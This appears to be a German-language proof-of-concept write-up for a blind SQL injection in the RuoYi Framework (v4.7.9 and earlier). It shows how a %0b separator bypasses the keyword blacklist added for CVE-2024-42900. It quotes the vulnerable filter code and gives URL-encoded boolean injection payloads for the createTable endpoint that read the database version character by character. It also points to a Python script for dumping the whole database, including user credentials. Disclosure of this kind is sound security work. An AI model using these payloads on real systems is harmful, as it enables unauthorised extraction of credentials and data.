
Blind-SQL-Injection-Proof-of-Concept-Exploit für RuoYi v4.7.9, der den CVE-2024-42900-Filter umgeht, um Datenbanken über authentifizierte boolesche Injektion auszulesen.
Ich habe eine Blind-SQL-Injection-Schwachstelle in der createTable-Funktion des RuoYi Framework v4.7.9 entdeckt. Diese ermöglicht es einem authentifizierten Administrator, beliebige SQL-Befehle über den Parameter sql auszuführen. Dies ist eine Umgehung des Fixes für CVE-2024-42900, da der SQL-Injection-Filter in der Methode filterKeyword unzureichend ist. Der reguläre Ausdruck kann umgangen werden, indem %0b als alternatives Zeichen für Leerzeichen verwendet wird.
Produkt: RuoYi Framework
Version: ≤ 4.7.9
Link: [Ruoyi]
Die Schwachstelle wurde in der Datei https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java wie folgt gefunden. Die Anwendung verlässt sich auf Blacklist-Schlüsselwörter, um SQL-Injection-Angriffe zu filtern. Dieser Ansatz ist anfällig für Umgehungen. In diesem Fall wurde zur Behebung von CVE-2024-42900 die Zeichenkette /* zur Blacklist hinzugefügt, aber die Anwendung blockiert das Zeichen %0b weiterhin nicht, sodass ich es verwenden kann, um eine SQL-Injection mit select%0b auszulösen.
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
Der reguläre Ausdruck select matcht select (gefolgt von einem Leerzeichen). Er matcht select%0b nicht, was ein gültiges Trennzeichen in SQL ist.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
b. Injizieren Sie eine FALSE-Abfrage:
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Achtung: Der Tabellenname in der CREATE-Abfrage muss nach jeder erfolgreichen Abfrage geändert werden.
3. Mit der booleschen SQL-Injection können Daten mithilfe des Python-[poc] in diesem Repository exfiltriert werden
Verwendung

Exfiltrieren der DB-Version per PoC

Ein Angreifer mit Administratorrechten kann die gesamte Datenbank auslesen, einschließlich anderer Benutzeranmeldedaten und Systemkonfigurationen.
%0b.select anstelle von select (entfernen Sie das abschließende Leerzeichen).